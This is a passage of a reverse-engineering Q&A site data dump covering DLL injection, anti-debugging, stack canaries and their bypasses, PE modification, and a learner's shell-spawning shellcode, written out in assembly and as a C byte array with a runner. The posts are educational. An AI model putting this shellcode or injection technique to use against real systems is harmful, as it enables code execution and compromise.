  <row Id="16227" PostTypeId="1" CreationDate="2017-08-31T14:22:54.473" Score="5" ViewCount="2101" Body="&lt;p&gt;On 2017-07-22 Christopher Domas (@xoreaxeaxeax) announced a new &quot;killer poke&quot; that he found on some x86 processor: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://twitter.com/xoreaxeaxeax/status/888702029744324608&quot; rel=&quot;noreferrer&quot;&gt;https://twitter.com/xoreaxeaxeax/status/888702029744324608&lt;/a&gt; (also cf. &lt;a href=&quot;https://twitter.com/xoreaxeaxeax/status/891005136041943040&quot; rel=&quot;noreferrer&quot;&gt;https://twitter.com/xoreaxeaxeax/status/891005136041943040&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither in the Blackhat presentation (&lt;a href=&quot;https://www.blackhat.com/docs/us-17/thursday/us-17-Domas-Breaking-The-x86-ISA.pdf&quot; rel=&quot;noreferrer&quot;&gt;https://www.blackhat.com/docs/us-17/thursday/us-17-Domas-Breaking-The-x86-ISA.pdf&lt;/a&gt;) nor in the related paper (&lt;a href=&quot;https://www.blackhat.com/docs/us-17/thursday/us-17-Domas-Breaking-The-x86-Instruction-Set-wp.pdf&quot; rel=&quot;noreferrer&quot;&gt;https://www.blackhat.com/docs/us-17/thursday/us-17-Domas-Breaking-The-x86-Instruction-Set-wp.pdf&lt;/a&gt;) this is answered for responsible disclosure reasons. Since then I heard nothing new about this topic.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So I would like to know whether anybody knows what the current state of this potential killer poke find is or whether anybody has tried out his sandsifter tool (&lt;a href=&quot;https://github.com/xoreaxeaxeax/sandsifter&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/xoreaxeaxeax/sandsifter&lt;/a&gt;) and could reproduce the killer poke on their processor?&lt;/p&gt;&#xA;" OwnerUserId="12822" LastEditorUserId="12822" LastEditDate="2017-08-31T15:53:36.423" LastActivityDate="2017-08-31T15:53:36.423" Title="What is the current state on Christopher Domas' &quot;killer poke&quot; find?" Tags="|x86|" AnswerCount="0" CommentCount="3" ClosedDate="2018-02-28T12:51:40.060" ContentLicense="CC BY-SA 3.0" />
  <row Id="16229" PostTypeId="1" CreationDate="2017-08-31T19:21:43.263" Score="3" ViewCount="178" Body="&lt;p&gt;I met the unknown (for me) method of anti-debugging today, while debugging in IDA Pro. This method delete fast all branches in file and the programm will look similar like on the image:&lt;a href=&quot;https://i.stack.imgur.com/6VDNm.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/6VDNm.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;              &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also many parts of code became unrecognized bytes, but I can fix this with Make Code command (only code, not branches). What it can be and how I can bypass this? The programm works fine after that, but I can't use breakpoints.&lt;/p&gt;&#xA;" OwnerUserId="21424" LastActivityDate="2017-08-31T19:21:43.263" Title="Anti-debug that can broke programm links (branches)?" Tags="|ida|debugging|anti-debugging|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16230" PostTypeId="1" AcceptedAnswerId="16231" CreationDate="2017-09-01T07:53:38.277" Score="2" ViewCount="1234" Body="&lt;p&gt;I created a program that performs DLL injection. It does that by opening the process with &lt;code&gt;OpenProcess&lt;/code&gt;, writes the DLL path to the process and creates a remote thread with &lt;code&gt;CreateRemoteThread&lt;/code&gt; with the dll as a parameter.(The DLL just spawns a messagebox). It works just fine but the problem is the second time i can't see the messagebox. The functions &lt;code&gt;OpenProcess&lt;/code&gt;, &lt;code&gt;CreateRemoteThread&lt;/code&gt;, &lt;code&gt;VirtualAllocEx&lt;/code&gt;, &lt;code&gt;WriteProcessMemory&lt;/code&gt; all return true but i can't see the thread being created and the DLL does not run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="20848" LastEditorUserId="60" LastEditDate="2017-09-01T08:40:38.313" LastActivityDate="2017-09-01T14:34:33.733" Title="DLL Injection does not work twice" Tags="|dll|dll-injection|thread|process|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="16231" PostTypeId="2" ParentId="16230" CreationDate="2017-09-01T11:56:32.153" Score="1" Body="&lt;p&gt;Calling &lt;code&gt;LoadLibrary&lt;/code&gt; twice with the same DLL name only increases the load counter but does not cause DLL entrypoint to be called again. From &lt;a href=&quot;https://msdn.microsoft.com/en-us/library/windows/desktop/ms684175&quot; rel=&quot;nofollow noreferrer&quot;&gt;the doc&lt;/a&gt; (emphasis mine):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;If the specified module is a DLL that is &lt;strong&gt;not already loaded&lt;/strong&gt; for the&#xA;  calling process, the system calls the DLL's DllMain function with the&#xA;  DLL_PROCESS_ATTACH value. If DllMain returns TRUE, LoadLibrary returns&#xA;  a handle to the module. If DllMain returns FALSE, the system unloads&#xA;  the DLL from the process address space and LoadLibrary returns NULL.&#xA;  It is not safe to call LoadLibrary from DllMain. For more information,&#xA;  see the Remarks section in DllMain.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;So if you need to execute your code again you'll have to do it explicitly, &lt;code&gt;LoadLibrary&lt;/code&gt; won't do it for you. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One possible solution could be to use the address of the function in your (already loaded) DLL instead of &lt;code&gt;LoadLibrary&lt;/code&gt; as the address of the second dinjected thread.&lt;/p&gt;&#xA;" OwnerUserId="60" LastEditorUserId="60" LastEditDate="2017-09-01T14:34:33.733" LastActivityDate="2017-09-01T14:34:33.733" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="16233" PostTypeId="1" CreationDate="2017-09-01T14:44:53.743" Score="4" ViewCount="922" Body="&lt;p&gt;I am using IDA pro 6.95 (paid version) to RE some PowerPC code. The PowerPC normally uses &lt;code&gt;r1&lt;/code&gt; as the stack pointer, so IDA builds the stack frame and local variables from &lt;code&gt;r1&lt;/code&gt;. Parameters are passed in &lt;code&gt;r3&lt;/code&gt;, &lt;code&gt;r4&lt;/code&gt;, &lt;code&gt;r5&lt;/code&gt;, etc. The problem I am having that I see this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text: foo:&#xA;.text:.set back_chain, -0x30                     // Stack frame&#xA;.text: .set var_4, -4&#xA;.text: .set sender_lr,  4&#xA;&amp;lt;&amp;lt;&amp;lt;function preamble snipped&amp;gt;&amp;gt;&amp;gt;&#xA;.text:               mr        r31, r1        // Copy stack pointer to r31&#xA;.text:               stw       r3, 8(r31)     // All local variables are relative&#xA;.text:               stw       r4, 0xC(r31)   //  to r31, instead of r1, so IDA&#xA;                                              //  doesn't recognize them.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And I want to see this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.text: foo:&#xA;.text:.set back_chain, -0x30                     // Stack frame&#xA;.text: .set var_C, -C&#xA;.text: .set var_8, -8&#xA;.text: .set var_4, -4&#xA;.text: .set sender_lr,  4&#xA;&amp;lt;&amp;lt;&amp;lt;function preamble snipped&amp;gt;&amp;gt;&amp;gt;&#xA;.text:                  mr        r31, r1        // Copy stack pointer to r31&#xA;.text:                  stw       r3, var_8(r31) // All local variables are&#xA;.text:                  stw       r4, var_C(r31) //  recognized and nameable.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;What I want is to convert all, e.g. &lt;code&gt;8(r31)&lt;/code&gt; local variable references in the function to normal &lt;code&gt;var_8(r31)&lt;/code&gt; syntax. I do not want to have to change each reference manually.  Is there a way to:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Convince IDA that &lt;code&gt;r31&lt;/code&gt; is the stack pointer?&lt;/li&gt;&#xA;&lt;li&gt;Change all &lt;code&gt;8(31)&lt;/code&gt; to &lt;code&gt;var_8(r31)&lt;/code&gt; in a single command?&lt;/li&gt;&#xA;&lt;li&gt;Otherwise get the effect I am looking for in a way I haven't thought of?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="21432" LastEditorUserId="53" LastEditDate="2017-09-01T15:20:39.383" LastActivityDate="2018-07-02T11:54:30.067" Title="IDA Pro: Define local variables from non-standard powerpc stack register" Tags="|ida|disassembly|powerpc|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16234" PostTypeId="1" CreationDate="2017-09-01T20:15:10.900" Score="4" ViewCount="816" Body="&lt;p&gt;I added a section to this executable&lt;br&gt;&#xA;&lt;a href=&quot;http://rgho.st/7FrWjYzqh&quot; rel=&quot;nofollow noreferrer&quot;&gt;external link to download the executable it is winmine from windows xp&lt;/a&gt;&lt;br&gt;&#xA;using cff explorer&lt;br&gt;&#xA;the only modification done to the executable is adding a section &#xA;i have not editied the executable manually or otherwise &#xA;cff explorer successfully adds the section     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;but if i execute the resulting executable     &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I get an error :   &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Error starting the application (0xc000007b) ...&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;i would like to understand why the modified application is crashing &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/2e4wC.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/2e4wC.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="21438" LastEditorUserId="3473" LastEditDate="2017-09-06T15:38:35.137" LastActivityDate="2017-09-07T03:38:46.560" Title="Adding section. Error starting the application (0xc000007b)" Tags="|pe|section|" AnswerCount="2" CommentCount="11" ContentLicense="CC BY-SA 3.0" />
  <row Id="16235" PostTypeId="1" CreationDate="2017-09-02T05:14:59.143" Score="4" ViewCount="1222" Body="&lt;p&gt;PDP-11 pure executable reverse engineering: &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Dont have access to Ida pro. Ollydbg, Immunity doesnt open it. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;radare2&lt;/code&gt; with MIPS, a lots of errors.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;file&lt;/code&gt;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# file lightning-tp.b  &#xA;lightning-tp.b: PDP-11 pure executable - version 16&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;&lt;code&gt;strings&lt;/code&gt;: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;# strings -a lightning-tp.b  &#xA;/* tp pulse&#xA; [#wan | lan1 | lan2 | lan3 | lan4]             ... test port&#xA; [#waveform | m-jitter | s-jitter | distortion] ... test mode  */ &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Question: How to run PDP-11 executable ?&lt;/p&gt;&#xA;" OwnerUserId="21442" LastEditorUserId="53" LastEditDate="2017-09-02T09:25:26.420" LastActivityDate="2023-05-18T00:51:56.607" Title="PDP-11 pure executable - version 16" Tags="|disassembly|assembly|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16236" PostTypeId="2" ParentId="16235" CreationDate="2017-09-02T05:37:13.793" Score="3" Body="&lt;p&gt;You might find interesting help &lt;a href=&quot;http://www.pdp11.org/&quot; rel=&quot;nofollow noreferrer&quot;&gt;here&lt;/a&gt;. There are many emulators and can even find a PDP-11 to buy.&lt;/p&gt;&#xA;" OwnerUserId="4437" LastActivityDate="2017-09-02T05:37:13.793" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16238" PostTypeId="1" CreationDate="2017-09-02T08:49:50.180" Score="1" ViewCount="339" Body="&lt;p&gt;I have some applications with written in VB.NET. I want to protect them for selling them. I want to use a paid protection. What are the order of those protectors from easier to harder ? How hard is each of them ?&lt;/p&gt;&#xA;" OwnerUserId="21444" LastActivityDate="2017-09-02T08:49:50.180" Title="NETGuard vs ILProtector vs AppFuscator" Tags="|protection|" AnswerCount="0" CommentCount="1" ClosedDate="2017-09-02T11:34:31.900" ContentLicense="CC BY-SA 3.0" />
  <row Id="16239" PostTypeId="2" ParentId="16235" CreationDate="2017-09-02T09:30:11.120" Score="2" Body="&lt;p&gt;You can find many PdP-11 emulators on Internet... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, you can use &lt;a href=&quot;http://simh.trailing-edge.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;SIMH&lt;/a&gt; which is open source and available as a package on Debian.&lt;/p&gt;&#xA;" OwnerUserId="53" LastActivityDate="2017-09-02T09:30:11.120" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16240" PostTypeId="1" CreationDate="2017-09-02T12:56:00.573" Score="0" ViewCount="1358" Body="&lt;p&gt;I need to run &quot;Yanosik&quot; in Android Emulator Genymotion. &#xA;Developers block in app runnning it in Android Emulator - when I try download it via Playstore, it says that my device is incompatible. When I try install it from .apk file, its still crash. Its any method to spoof emulator as real phone and run this program? If RE group is not right for this question, please tell me where I should ask.&lt;/p&gt;&#xA;" OwnerUserId="21440" LastActivityDate="2018-01-27T22:51:10.943" Title="Security bypass: How to run application in Android Emulator?" Tags="|android|software-security|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16241" PostTypeId="1" AcceptedAnswerId="16242" CreationDate="2017-09-02T15:57:17.947" Score="4" ViewCount="2420" Body="&lt;p&gt;I am currently looking at a function inside a Win32 executable's main module. After allocating memory on the stack (sub esp) and saving some registers on the stack, the value of esp is XORed with a global variable.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov eax, esp&#xA;xor eax, DWORD PTR ds:[&amp;lt;some address&amp;gt;]&#xA;push eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I wonder whether this is some kind of stack protection technique?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: I wrote the question from memory. The actual instruction sequence is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub esp, 0xf0&#xA;mov eax, DWORD PTR ds:[&amp;lt;some address&amp;gt;]&#xA;xor eax, esp&#xA;mov DWORD PTR ss:[esp+0xec], eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="21077" LastEditorUserId="21077" LastEditDate="2017-09-02T18:21:14.193" LastActivityDate="2017-09-02T18:21:14.193" Title="What could be the purpose of XORing esp with a global variable? (stack canary protection)" Tags="|disassembly|windows|x86|buffer-overflow|stack|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16242" PostTypeId="2" ParentId="16241" CreationDate="2017-09-02T16:29:36.903" Score="7" Body="&lt;p&gt;Yes, this is an implementation of what's often called &quot;Stack Canaries&quot;, a method of stack &lt;a href=&quot;https://en.wikipedia.org/wiki/Buffer_overflow_protection&quot; rel=&quot;noreferrer&quot;&gt;Buffer Overflow Protection&lt;/a&gt;. That example you're describing is specifically the method used by Visual Studio, enabled by default since Visual Studio 2005, implemented since Visual Studio 2003. It is also called &lt;code&gt;GS protection&lt;/code&gt; due to the fact Visual Studio provided the flags, &lt;code&gt;/GS&lt;/code&gt; to enable and &lt;code&gt;/GS-&lt;/code&gt; to disable, that protection and override the default behavior.  &lt;/p&gt;&#xA;&#xA;&lt;h1&gt;What is stack buffer overflow protection?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;There are multiple stack buffer overflow protection techniques implemented by different compilers and 3rd party protection tools, but they all revolve around the same fundamental idea: When a stack buffer overflow is exploited, the attacker often overwrites the return address located on the stack to redirect code execution to a controlled address. Stack canaries work by prefixing the &lt;code&gt;ret&lt;/code&gt; instruction with some sort of validation that the stack, and specifically the return address, was not altered by an attacker prior to the &lt;code&gt;ret&lt;/code&gt; instruction being executed (which will result in a pop from the stack and placing the popped value in the instruction pointer).&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;How does the provided example protect the stack from such exploits?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;To answer that, we'll need to provide the full implementation details of which you just provided the first half. Most stack overflow canary protections usually include inserting function prolog &lt;em&gt;and&lt;/em&gt; epilog, and you only provided the former.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's a commented example prolog:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub         esp,    8           //  allocate 8 bytes for cookie&#xA;mov eax,    DWORD   PTR ___security_cookie&#xA;xor eax,    esp                 //  xor cookie with current esp&#xA;mov DWORD   PTR [esp+8],    eax //  save in stack&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This prolog starts with allocating the stack variable's space just as any &quot;regular&quot; function would. It then continues to fetch a value randomly generated at the process start, and stored in a specific memory address, &#xA; into register &lt;code&gt;EAX&lt;/code&gt; and then &lt;code&gt;xor&lt;/code&gt;-ing it with the current stack pointer. The resulting value is then stored on the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And a commented example epilog:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov ecx,    DWORD   PTR     [esp+8]  // Read saved cookie&#xA;xor ecx,    esp                      // Xor saved cookie, should result in the same value&#xA;call        @__security_check_cookie@4  // Call a short function to validate resulting value is legit, and terminate safely otherwise&#xA;add         esp,    8&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then, just before the function's &lt;code&gt;ret&lt;/code&gt; instruction is executed, which under normal &lt;strong&gt;buffer overflow attack&lt;/strong&gt; circumstances will fetch the overwritten return address and will execute &lt;strong&gt;attacker controlled code&lt;/strong&gt;, a validation that the original stack cookie value was kept is made, triggering a safe failure in case the value differs from the expected stack cookie.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The logic in most of the cookie/canary based protections is the following:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;On function entrance store a specific value, deterministic but unpredictable from the attacker's perspective. Preferably, one that's dependant on the function's execution conditions (such as the current ESP). That value should be placed between the function's return address and any buffer-overflow potential buffer or variable.&lt;/li&gt;&#xA;&lt;li&gt;On function's exit, just before using the potentially overwritten return address, validate the stored cookie is same as expected, fail if it was somehow changed.&lt;/li&gt;&#xA;&lt;li&gt;As classic buffer overflow attacks are rewriting the entire stack in a sequential manner (meaning that to overwrite the return address from stack variable &lt;code&gt;buf&lt;/code&gt;, all data located on the stack between the return address and &lt;code&gt;buf&lt;/code&gt; might also be overwritten), any overwrite of the return address &lt;em&gt;must&lt;/em&gt; also modify the stack canary. As long as the attacker cannot predict the canary before triggering the function call, the attack will fail due to the canary validation performed just before &lt;code&gt;ret&lt;/code&gt; is executed.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;h1&gt;Was that the end of stack based buffer overflows?&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;No, for several reasons the battle over stack overflow exploitation and protection carried on (and is still ongoing, in certain circumstances):&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Soon after the first canary protections implemented in Visual Studio, attacks against SEH exception structures (which are allocated on the stack to handle exceptions) began, and provided several anti-SEH buffer overflow protections (such as SafeSEH, which underwent several versions until it was fully reliable in protecting against such attacks including the later &lt;code&gt;SEHOP&lt;/code&gt;). &lt;/li&gt;&#xA;&lt;li&gt;Additionally, information leakage bugs were used to predict (and increase prediction chances) of canary values, which enabled bypassing the canary check and made stack based buffer overflows possible. &lt;/li&gt;&#xA;&lt;li&gt;Slightly similar to #2 but specific to canary protections, in certain cases an attacker could exploit the flow of the process's execution to slowly extract the canary values byte by byte, thus reducing a 2**32 (4294967296 possibilities) brute force to only 256*4 (1024 possibilities) brute force, making many attacks a lot more plausible.  &lt;/li&gt;&#xA;&lt;li&gt;Buffer overflow bugs allowing non-linear overwrites were also being used, to &quot;skip&quot; overwriting the stack canary (or most of it) to either completely avoid the need to predict the canary value, or reduce the modification range to a lower, 1 byte range. Such common examples are looks that overwrite only on certain conditions or those whom overwrite only 1 byte of a dword. These would also make the return address modification limited but were still useful (and occasionally more so, in certain cases where ASLR was also used).&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2147" LastEditorUserId="60" LastEditDate="2017-09-02T17:58:07.967" LastActivityDate="2017-09-02T17:58:07.967" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="16243" PostTypeId="2" ParentId="16241" CreationDate="2017-09-02T16:31:49.530" Score="5" Body="&lt;p&gt;Yes, this is Microsoft's stack overflow protection, commonly known as &quot;GS cookie&quot;. From &lt;a href=&quot;http://go.microsoft.com/fwlink/?linkid=7260&quot; rel=&quot;noreferrer&quot;&gt;&lt;em&gt;Compiler Security Checks In Depth&lt;/em&gt;&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;When the function is compiled with /GS, the functions prolog will set&#xA;  aside an additional four bytes and add three more instructions as&#xA;  follows:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;sub   esp,24h&#xA;mov   eax,dword ptr [___security_cookie (408040h)]&#xA;xor   eax,dword ptr [esp+24h]&#xA;mov   dword ptr [esp+20h],eax&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;The prolog contains an instruction that fetches a copy of the cookie,&#xA;  followed by an instruction that does a logical xor of the cookie and&#xA;  the return address, and then finally an instruction that stores the&#xA;  cookie on the stack directly below the return address. From this point&#xA;  forward, the function will execute as it does normally. When a function returns, the last thing to execute is the function’s epilog, which is the opposite of the prolog. &lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;When compiled with /GS, the security checks are also placed in the&#xA;  epilog:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;mov   ecx,dword ptr [esp+20h]&#xA;xor   ecx,dword ptr [esp+24h]&#xA;add   esp,24h&#xA;jmp   __security_check_cookie (4010B2h)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;The stack's copy of the cookie is retrieved and then follows with the&#xA;  XOR instruction with the return address. The ECX register should&#xA;  contain a value that matches the original cookie stored in the&#xA;  __security_cookie variable. The stack space is then reclaimed, and then, instead of executing the RET instruction, the JMP instruction to&#xA;  the __security_check_cookie routine is executed.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="60" LastActivityDate="2017-09-02T16:31:49.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="16244" PostTypeId="1" AcceptedAnswerId="16252" CreationDate="2017-09-02T16:52:26.703" Score="4" ViewCount="709" Body="&lt;p&gt;I have this piece of ASM:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;section .text&#xA;    global _start&#xA;&#xA;_start:&#xA;    xor  eax, eax&#xA;    push eax         ; 0 to finish the /bin//sh string&#xA;    push 0x68732f2f  ; //sh&#xA;    push 0x6e69622f  ; /bin&#xA;    mov  ebx, esp&#xA;    mov  al, 0xb&#xA;    int  0x80&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which works fine if I do:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ nasm -f elf shellcode.asm &amp;amp;&amp;amp; ld -o shellcode shellcode.o&#xA;$ ./shellcode&#xA;$ # the new shell&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But now, with the hex translation:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ objdump -s shellcode&#xA;&#xA;shellcode:     file format elf32-i386&#xA;&#xA;Contents of section .text:&#xA;  8048060 31c05068 2f2f7368 682f6269 6e89e3b0  1.Ph//shh/bin...&#xA;  8048070 0bcd80                               ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Used here:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;const char shellcode[] = &quot;\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0\x0b\xcd\x80&quot;;&#xA;&#xA;int main(){&#xA;    (*(void(*)()) shellcode)();&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The result is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gcc -o shellcode shellcode.c&#xA;$ ./shellcode&#xA;Segmentation fault&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I tried to practice my ASM and re-create the one &lt;a href=&quot;http://shell-storm.org/shellcode/files/shellcode-827.php&quot; rel=&quot;nofollow noreferrer&quot;&gt;provided here&lt;/a&gt;. The difference, which I can't explain, is that on his payload, he's pushing the an extra &lt;code&gt;0&lt;/code&gt; and the address of the &lt;code&gt;/bin//sh&lt;/code&gt; string into the stack.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I though that because I was using the fastcall convention, I didn't have to setup the stack, but apparently there's more going on here.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone know why the shellcode refuses to run and why setting the stack changes &quot;correct&quot; it?&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Edits:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to run the program from &lt;code&gt;gdb&lt;/code&gt; I have the following result:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ gdb ./shellcode&#xA;(gdb) run&#xA;Program received signal SIGSEGV, Segmentation fault.&#xA;0x080484b3 in shellcode ()&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here's the &lt;code&gt;readelf&lt;/code&gt; command output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ readelf -l -S shellcode&#xA;There are 30 section headers, starting at offset 0x1150:&#xA;&#xA;Section Headers:&#xA;  [Nr] Name              Type            Addr     Off    Size   ES Flg Lk Inf Al&#xA;  [ 0]                   NULL            00000000 000000 000000 00      0   0  0&#xA;  [ 1] .interp           PROGBITS        08048154 000154 000013 00   A  0   0  1&#xA;  [ 2] .note.ABI-tag     NOTE            08048168 000168 000020 00   A  0   0  4&#xA;  [ 3] .note.gnu.build-i NOTE            08048188 000188 000024 00   A  0   0  4&#xA;  [ 4] .gnu.hash         GNU_HASH        080481ac 0001ac 000020 04   A  5   0  4&#xA;  [ 5] .dynsym           DYNSYM          080481cc 0001cc 000040 10   A  6   1  4&#xA;  [ 6] .dynstr           STRTAB          0804820c 00020c 000045 00   A  0   0  1&#xA;  [ 7] .gnu.version      VERSYM          08048252 000252 000008 02   A  5   0  2&#xA;  [ 8] .gnu.version_r    VERNEED         0804825c 00025c 000020 00   A  6   1  4&#xA;  [ 9] .rel.dyn          REL             0804827c 00027c 000008 08   A  5   0  4&#xA;  [10] .rel.plt          REL             08048284 000284 000010 08   A  5  12  4&#xA;  [11] .init             PROGBITS        08048294 000294 000023 00  AX  0   0  4&#xA;  [12] .plt              PROGBITS        080482c0 0002c0 000030 04  AX  0   0 16&#xA;  [13] .text             PROGBITS        080482f0 0002f0 000192 00  AX  0   0 16&#xA;  [14] .fini             PROGBITS        08048484 000484 000014 00  AX  0   0  4&#xA;  [15] .rodata           PROGBITS        08048498 000498 00001c 00   A  0   0  4&#xA;  [16] .eh_frame_hdr     PROGBITS        080484b4 0004b4 00002c 00   A  0   0  4&#xA;  [17] .eh_frame         PROGBITS        080484e0 0004e0 0000b0 00   A  0   0  4&#xA;  [18] .init_array       INIT_ARRAY      08049f08 000f08 000004 00  WA  0   0  4&#xA;  [19] .fini_array       FINI_ARRAY      08049f0c 000f0c 000004 00  WA  0   0  4&#xA;  [20] .jcr              PROGBITS        08049f10 000f10 000004 00  WA  0   0  4&#xA;  [21] .dynamic          DYNAMIC         08049f14 000f14 0000e8 08  WA  6   0  4&#xA;  [22] .got              PROGBITS        08049ffc 000ffc 000004 04  WA  0   0  4&#xA;  [23] .got.plt          PROGBITS        0804a000 001000 000014 04  WA  0   0  4&#xA;  [24] .data             PROGBITS        0804a014 001014 000008 00  WA  0   0  4&#xA;  [25] .bss              NOBITS          0804a01c 00101c 000004 00  WA  0   0  1&#xA;  [26] .comment          PROGBITS        00000000 00101c 00002b 01  MS  0   0  1&#xA;  [27] .shstrtab         STRTAB          00000000 001047 000106 00      0   0  1&#xA;  [28] .symtab           SYMTAB          00000000 001600 000430 10     29  45  4&#xA;  [29] .strtab           STRTAB          00000000 001a30 00024e 00      0   0  1&#xA;Key to Flags:&#xA;  W (write), A (alloc), X (execute), M (merge), S (strings)&#xA;  I (info), L (link order), G (group), T (TLS), E (exclude), x (unknown)&#xA;  O (extra OS processing required) o (OS specific), p (processor specific)&#xA;&#xA;Elf file type is EXEC (Executable file)&#xA;Entry point 0x80482f0&#xA;There are 9 